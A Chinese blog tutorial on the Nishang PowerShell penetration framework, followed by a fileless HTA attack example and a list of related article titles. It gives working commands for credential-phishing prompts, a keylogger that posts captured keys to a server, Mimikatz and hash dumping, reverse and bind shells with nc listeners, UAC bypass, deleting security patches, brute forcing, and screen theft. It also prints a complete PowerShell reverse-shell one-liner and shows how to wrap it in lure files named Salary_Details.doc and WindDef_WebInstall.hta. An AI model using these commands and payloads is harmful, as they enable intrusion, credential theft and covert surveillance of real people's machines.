nishang工具用法详解——补充了hta无文件攻击的使用例子
PowerShell攻防进阶篇:nishang工具用法详解
导语:nishang,PowerShell下并肩Empire,Powersploit的神器。
开始之前,先放出个下载地址!
下载地址:samratashok/nishang
1.简介
Nishang是一款针对PowerShell的渗透工具。说到渗透工具,那自然便是老外开发的东西。国人开发的东西,也不是不行,只不过不被认可罢了。不管是谁开发的,既然跟渗透有关系,那自然是对我们有帮助的,学习就好。来源什么的都不重要。总之,nishang也是一款不可多得的好工具。非常的好用。
2.简单的安装与问题处理
先到github上去下载nishang,可以使用git命令直接下载,如果没有装的话下载zip文件,解压之后就可以开始我们的学习之旅了。
导入之前加一句,nishang的使用是要在PowerShell 3.0以上的环境中才可以正常使用。也就是说win7下是有点小问题的。因为win7下自带的环境是PowerShell 2.0
![](https://pic4.zhimg.com/80/v2-45d917e62ae34ca3e721ca5a77aa9423_720w.png)
如果大家不知道自己的PowerShell环境是多少的版本。可以使用Get-Host命令来查看当前的版本。建议使用windows 10测试
既然是PowerShell框架,那自然是要导入的,然而,导入的时候还是会碰到一些比较麻烦的问题。对PowerShell比较熟悉的,看一眼就知道是什么问题,但是不知道的就一脸蒙,百度都不知道怎么百度。比如说:
我们在导入的时候经常会碰到的问题,(不只是nishang)
![](https://pic4.zhimg.com/80/v2-08b7a9d9953b29fc59fc23bd476e628b_720w.png)
出现了报错,我一直都不知道怎么办的,没办法,只能用过远程文件下载来进行本地权限绕过。
解决方法:
PowerShell默认的执行策略是Restricted,但是Restricted是不允许运行任何脚本的。你在PowerShell执行Get-ExecutionPolicy命令来查看默认的策略组。我们需要修改策略组,在PowerShell下执行Set-ExecutionPolicy remotesigned。再次导入,就导入成功了。(警告不需要理会)
![](https://pic3.zhimg.com/80/v2-6d165c380b3f0285ed266d77170212ce_720w.png)
因为警告不相信导入成功的,可以继续执行命令来进一步验证。
![](https://pic3.zhimg.com/80/v2-8103b5d30278b5dc118680d5067da67a_720w.png)
nishang的命令都被列出来了。执行一道命令行Get-Information。可以列出本机的信息
![](https://pic3.zhimg.com/80/v2-e006626cb682ad53502e49c9f214737a_720w.png)
![](https://pic2.zhimg.com/80/v2-1fde229185fa9c04e5e9a30de87ff6cd_720w.png)
3.目录结构![](https://pic1.zhimg.com/80/v2-eab1881fc5057a61e086a1c1055cecb4_720w.png)
有经验的童鞋看一眼就知道这个目录是怎么玩的了,虽然英文水平不怎么滴,但是晚了这么久看到这些目录还是有一些熟悉感的
![](https://pic3.zhimg.com/80/v2-a4ddbb6a236cd886425873c7568d0386_720w.png)
跟大家说个事情,150分的英语卷子,我得了27分。上面这些是我用google翻译加蒙的。这都不重要。继续往后看吧。主要是他后续的功能以及命令的使用。当导入nishang.psm1的时候,所有的模块都直接可以被PowerShell读到。当然,在渗透过程中,肯定不能直接把nishang的整个目录赋值到人家的服务器上。远程下载的时候,了解目录结构对我们寻找文件位置是很有帮助的~~
4.操作方法
忍不住的小伙子们,来来来,拿起纸和笔,记笔记,这是重点。
4.1信息搜集
看上面的目录结构图,就知道哪里去找要用的东西了。挑一些好用的模块来说
4.1.1 Check-VM
看名字就知道是干嘛的了,检测该主机是不是虚拟机
![](https://pic4.zhimg.com/80/v2-47f621b12fbe97c30533415d53654533_720w.png)
程序给了答复,说本机器就是一个虚拟机。
4.1.2 Invoke-CredentialsPhish
这个脚本怎么说,说是欺骗用户,让用户输入密码,但是我觉得吧,这就是个十足的流氓。
![](https://pic4.zhimg.com/80/v2-984b43cf7aa569db8d5763d7b113c9db_720w.png)
为啥说是流氓了?不给正确密码就不给关,你说流氓不,反正关不掉,只能强制干掉进程。当然,如果成功了,还是很好用的
![](https://pic2.zhimg.com/80/v2-bb45e49c831607a02134c51599cbb089_720w.png)
这样还是可以的,哈~
4.1.3 Copy-VSS
Copy-VSS [文件地址] –默认是在当前文件夹下面
Copy-VSS [文件地址] -DestinationDir C:temp –保存文件到指定文件下
4.1.4 FireBuster FireListener
内网扫描,很洋气的扫描器,本地开了监听,然后远程传送数据
FireListener -PortRange 130-150
FireBuster 192.168.12.107 130-150 -Verbose
![](https://pic2.zhimg.com/80/v2-98584c96e762562c0786f83cd816f5d9_720w.png)
由于本机器是台式电脑,并没有无线网卡,所以不做演示。
4.1.6 Keylogger键盘记录
讲真,从来没有见过这么牛的键盘记录模块,这个模块有必要看一下HELP深究一下,真的牛。
Get-Help .Keylogger.ps1 -full
![](https://pic2.zhimg.com/80/v2-b913cb4f5e6f743fd40da8b2c550bf29_720w.png)
1:直接执行,他会显示
![](https://pic2.zhimg.com/80/v2-edde12556a26590a8c108be5bc3e7fad_720w.png)
之后,默认在Temp目录下生成一个key.log文件
2:就是一句话命令行
-CheckURL去检查设置的URL页面中有没有 -MagicString后的字符串,有的话停止,没有的话继续。。
3 : 将记录的信息以POST形式发送到WEB服务器上。
4:电脑重启之后,继续监听。。
当监听完成后,需要用Utility目录下的Parse_Keys来解析key文件
Parse_Keys "C:UsersxxxAppDataLocalTempkey.log" "c:test.txt"
![](https://pic3.zhimg.com/80/v2-0e69560fa9437e3546c42f21b569071e_720w.png)
-CheckURL 也一定要写自己的,要不停不下来了
没有设置persist的童鞋,关掉当前PowerShell,即刻停止
4.1.7 抓取用户的明文密码
Invoke-Mimikatz 不需要解释的神器
![](https://pic1.zhimg.com/80/v2-ac7496e3478353a54ac0ba15f2b97ad4_720w.png)
4.1.8 HASH获取
Get-PassHashes
![](https://pic1.zhimg.com/80/v2-fb01758502d39ebb2cded1aed837b258_720w.png)
4.1.9 获取用户的密码提示信息
Get-PassHints
![](https://pic1.zhimg.com/80/v2-5b7a3d1d61f1023bf32d0ac1bac6edf4_720w.png)
4.2.0各式各样的反弹
既然说是神器,那自然有牛的一面,各式各样的shell,任由你反弹,跟msf一样。
###TCP的shell
既然TCP,那就有正反向链接,先来反向链接(需要NC)
反向链接:
NC下执行 : nc -lvp 3333
在PowerShell下执行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.12.110 -Port 3333
![](https://pic2.zhimg.com/80/v2-0c67cc63830d39edb7c7776fd8314c7d_720w.png)
正向链接:
PowerShell下执行:Invoke-PowerShellTcp -Bind -Port 3333
NC下执行:nc -nv 192.168.12.103 3333
![](https://pic1.zhimg.com/80/v2-19bbc00b34d0d7d78678a19b07312b90_720w.png)
###UDP 的Shell
只是单纯的将Invoke-PowerShellTcp改为Invoke-PowerShellUdp,其他命令。之后就是nc的命令改变了
正向连接:nc -nvu 192.168.12.103 3333
反向连接:nc -lup 3333
一波题外话,看不懂nc命令的童鞋:match command-line arguments to their help text
可以到这里,命令可以解析,什么都可以,不止是nc,linux命令都行
![](https://pic3.zhimg.com/80/v2-fee7a08f48190f58dc37ed07a7d39eba_720w.png)
就是都是英文,不过比较简单了
###HTTP/HTTPS的shell
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.12.103 -Port 3333
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.103 -Port 3333
执行完之后会生成一道命令,HTTP和HTTPS一样,这里我只演示是HTTP
![](https://pic1.zhimg.com/80/v2-0733357e971ffa8062dc68b3d0caa33c_720w.png)
将这道命令拖入cmd中执行,之后命令行消失,在本机Powershell下返回了一个会话
![](https://pic1.zhimg.com/80/v2-f91ba3e66dafb296a372bb4d84cb8b98_720w.png)
4.3 webshell
存放于nishangAntak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多。功能齐全,日aspx的站必备的东西
![](https://pic2.zhimg.com/80/v2-6a89ebada215da6872410241f1fd71b5_720w.png)
同样需要账号密码,上传下载,无所不能。
4.4 提权
渗透过程中,这里应该是使用最多的地方了。
4.4.1 尝试本地权限提升
Enable-DuplicateToken
这个脚本在我们具有一定权限的时候,可以帮助帮助我们获得系统权限。
4.4.2 Bypass UAC
Invoke-PsUACme 看名字就知道是干嘛的了。绕过UAC吗~,Nishang中给出的方法太全面了,GET-HELP来看看帮助信息
![](https://pic4.zhimg.com/80/v2-438c9411f868ce9233f3200a0af2e103_720w.png)
实例一: 使用Sysprep方法和默认的Payload执行
实例二: 使用oobe方法跟默认的payload执行
实例三: 使用oobe方法跟自制payload执行
这个模块用的是UACME项目的DLL来Bypass UAC。所以,方法对照表
![](https://pic4.zhimg.com/80/v2-1d3d9b3b5e74eaca0a84cbdf719f78bf_720w.png)
这只是官方给的例子,回过头来看一眼上面的参数信息。
![](https://pic4.zhimg.com/80/v2-4c1ff08d2b195fde6916e3f4ccf13aab_720w.png)
-Payloadpath指定一个payload路径
-CustomDll64
指定一个dll文件,后两位代表系统位数
-CustomDll32
尝试本地Bypass UAC:
![](https://pic1.zhimg.com/80/v2-fbc4364d6b16c88b6f7aa21e47b22c00_720w.png)
4.4.3 删除补丁
删除补丁,这是我见过最`厉害`的脚本,没有之一。如此骚气!
Remove-Update
![](https://pic4.zhimg.com/80/v2-610e32567e9b7909574b755e91c741fb_720w.png)
实例一: 删除全部补丁
实例二: 删除全部的安全补丁
实例三: 删除指定的补丁
这是删除之前的补丁情况
![](https://pic2.zhimg.com/80/v2-4161032233de280cefc17a23d1bdef59_720w.png)
尝试删除第一个补丁
![](https://pic2.zhimg.com/80/v2-9b68a9458e58b0b271fad23676042da1_720w.png)
成功删除了第一个补丁。
4.5端口扫描,爆破
4.5.1: 端口扫描
来详细说明下个个参数
可以使用 Get-Help Invoke-PortScan -full 查看帮助信息
![](https://pic4.zhimg.com/80/v2-ff72cbdb2be894fcf55ef3acfbfd539f_720w.png)
-StartAddress 开始的IP地址
-EndAddress 结束的IP地址
-ResolveHost 是否解析主机名
-ScanPort要不要进行端口扫描
-Port 要扫描的端口(默认很多,看上图)
-TimeOut 超时时间
对我本地局域网进行扫描:
Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost
扫描中:
![](https://pic1.zhimg.com/80/v2-728f9c9e3dcc2e16b69014964418bc20_720w.png)
扫描结束:
![](https://pic3.zhimg.com/80/v2-1c350152a8ff47b9d264aa934f6e86ba_720w.png)
4.5.2 弱口令爆破
Invoke-BruteForce
之前先说命令参数
-ComputerName 对应服务的计算机名
-UserList 用户名字典
-PasswordList 密码字典
-Service 服务(默认为:SQL)
-StopOnSuccess 匹配一个后停止
-Delay 延迟时间
![](https://pic2.zhimg.com/80/v2-9ec119781ce440d9853b30fc3ee14251_720w.png)
有了上面的说明,这里看到应该很清楚了。不在做过多的解释。
4.6 嗅探
内网嗅探,动静太大了,但是,实在没办法的时候,不得不说,这是一个办法。
在靶机上执行:Invoke-Interceptor -ProxyServer 192.168.250.172 -ProxyPort 9999
监听机器上执行:netcat -lvvp 9999
![](https://pic3.zhimg.com/80/v2-e48c81e12f756e2274c019728ef56dfa_720w.png)
![](https://pic1.zhimg.com/80/v2-caa5697965b42dc26fa2d6679a26fed0_720w.png)
4.7 屏幕窃取
Show-TargetScreen
屏幕窃取,一样正反向通吃
-IPAddress 后面加IP地址(反向链接需要)
-Port 加端口
-Bind 正向连接
反向链接窃取屏幕
靶机:Show-TargetScreen -Reverse -IPAddress 192.168.250.172 -Port 3333
攻击机:netcat -nlvp 3333 | netcat -nlvp 9999
之后访问攻击机器的9999端口,就可以窃取到屏幕了
正向连接窃取屏幕
靶机执行:Show-TargetScreen -Bind -Port 3333
攻击机执行:netcat -nv 192.168.250.37 3333 | netcat -lnvp 9999
之后同样,访问本机的9999端口,就能正常访问了。
![](https://pic4.zhimg.com/80/v2-51ea67ab881bfdea2bd303a4a8abf727_720w.png)
4.8 Client
Nishang可以生成各式各样的客户端。类型大概有
![](https://pic1.zhimg.com/80/v2-cd9ff144368e00bd38baa462e6417808_720w.png)
这么多类型全都可以生成。选择一种来说,其他的方法都是类似的。
打开nishangShellsInvoke-PowerShellTcpOneLine.ps1这个文件,复制第三行的内容。可以看到中间有一个TCPClient的参数,这里就是远程连接的地址了
![](https://pic3.zhimg.com/80/v2-7c6866627314da484e2cac45d839a042_720w.png)
更改这个地址和端口即可,之后进入命令行执行
Invoke-Encode -DataToEncode '你的代码' -IsString -PostScript
![](https://pic2.zhimg.com/80/v2-bd6a12f470e2004d4b0d8e90d24fc325_720w.png)
执行完成之后会在当前目录下生成两个文件。一个是encoded.txt 另一个是encodedcommand.txt。之后执行
Out-Word -PayloadScript .encodedcommand.txt
就可以在我们当前文件夹下生成一个名为Salary_Details.doc的doc文件。之后使用nc监听就好
说完了操作,回过头来看看命令行参数
-Payload 后面直接加payload,但是注意引号的闭合
-PayloadURL 传入远程的payload进行生成
-PayloadScript 指定本地的脚本进行生成
-Arguments 之后加要执行的函数。(payload之中有的函数)
-OutputFile 输出的文件名
-WordFileDir 输出的目录地址
-Recurse 在WordFileDir中递归寻找Word文件
-RemoveDocx 创建完成后删除掉原始的文件
5.总结
看完之后肯定一脸懵逼,这都是啥。这么复杂的语法,没办法,针对PowerShell的工具语法相对而言都比较复杂。而且,并没有讲解nishang的后门模块,个人觉得不是那么好用。还有一些反弹技巧并没有详细介绍,比如说什么DNS反弹,ICMP反弹,WMI反弹。
有兴趣的朋友可以自行研究,每一款工具针对不同的环境都能给我们带来意想不到的效果。不用归不用,但是到万不得已用的时候,才是最恶心的,艺多不压身嘛~
在研究过程中又碰到问题的,点我头像给我留言,我看到的话会尽量帮忙的~
- HTA,HTML-Application的缩写,它直接将某个html页面保存成hta的格式,打开时显示为窗口交互界面,就是一个独立的应用软件。
$ nc -ltp 4444
然后windows机器上,打开ps1文件,然后去掉第三行注释,修改IP地址和端口,例如我的kali机器是'192.168.0.112',4444。修改后酱紫:
#A simple and small reverse shell. Options and help removed to save space. #Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well. $client = New-Object System.Net.Sockets.TCPClient('192.168.0.112',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() #$sm=(New-Object Net.Sockets.TCPClient('192.168.0.112',4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
接下来生成hta:
Out-HTA -PayloadScript .\Invoke-PowerShellTcpOneLine.ps1
提示你:HTA written to C:\Users\bonel\Desktop\nishang-master\WindDef_WebInstall.hta
然后双击打开,kali里运行whoami即可看到输出。
不过有一个细节,我原本以为使用mshta WindDef_WebInstall.hta 也应该是可以正常运行的,但实际上不行!!!
我又看了下细节,下图是我双击鼠标后的实际的运行命令,带了clsid,很诡异吧:
相关文章
- Linux C 文件操作,系统调用 -- open()、read() 和 标准I/O库 -- fopen()、fread()
- struts2文件下载 出现Can not find a java.io.InputStream with the name的错误
- flask使用pymysql连接MySQL,生成xls文件并下载到本地
- Linux如何查找大文件或目录总结
- Ubuntu下使用VI编辑文件必知的常用命令
- windows 10上利用Microsoft RTF文件(CVE-2017-0199)进行攻击
- xdg-open filename 以相应的程序 打开文件
- Spring MVC--使用默认的servlet来响应静态文件
- .NET下载文件报错System.UnauthorizedAccessException的解决方法
- Eclipse 安装了 Groovy 开发插件之后,双击打不开 .java 文件了
- CV之IPE之DNN:基于OpenPose和OpenCV利用DNN算法的.pb文件实现对视频单个体进行实时姿态估计检测(以詹姆斯扣篮+美女跳舞为例)案例应用
- WholeFileInputFormat 和WholeFileRecordReader合并小文件
- Logstash处理json格式日志文件
- 60集Python入门视频PPT整理 | Python文件对象
- 内网渗透(四十九)之域控安全和跨域攻击-多种方式离线读取ntds.dit文件中的hash值
- 能逃避机器学习检测的 Cerber 勒索变种——17年的文章,本质上还是无文件攻击,只是利用进程注入方式而已
- powershell无文件攻击场景汇总
- nishang中的bypass模块,原来就是为了针对AMSI接口啊——AMSI专门是检测无文件攻击的,尤其是可以扫描一些string,看编码绕过后的真正执行内容是否恶意!
- chm里的无文件攻击和检测思路
- autoit 无文件攻击 看来大多数都是编译成exe 而不会直接脚本执行 因为要在用户机器上安装autoit太繁琐
- CScript 可以用来做无文件攻击
- 使用 WScript.exe 运行脚本和无文件攻击的案例
- 利用Certutil对任意文件进行编码和解码——真实攻击中会经常用到
- 通过安克诺斯网络保护阻止无文件攻击——做得挺有亮点的!无文件的分类,比微软那个要更细致!
- 揭密无文件勒索病毒攻击,思考网络安全新威胁——powershell混淆脚本直接执行
- 常见的windows下无文件落地攻击手法——主要讨论了powershell脚本、HTA是HTML Application的缩写(HTML应用程序)、xml中利用COM组件、certutil下载然后调用Dcom组件执行恶意代码、msxsl.exe是微软用于命令行下处理XSL的可以执行JavaScript执行系统命令
- 揭秘基于注册表隐藏的无文件攻击——为了实现攻击持久化,攻击者们找到新的突破口——将恶意软件实体隐藏在注册表的某个键值里
- 无文件攻击形式——在注册表中保存加密数据,注入代码到正在运行的进程,并使用PowerShell、Windows Management Instrumentation和其他技术使其难以被检测以及分析。
- CrowdStrike《无文件攻击白皮书》——写得非常好
- c#实现内存映射文件共享内存
- C#判断指定文件是否存在
- WEB漏洞攻防 - 文件上传漏洞总结
- Vivado中注意在生成Bitstream中的文件设计问题,就是逻辑分析仪是对RTL进行配置,不是对Testbench文件进行配置。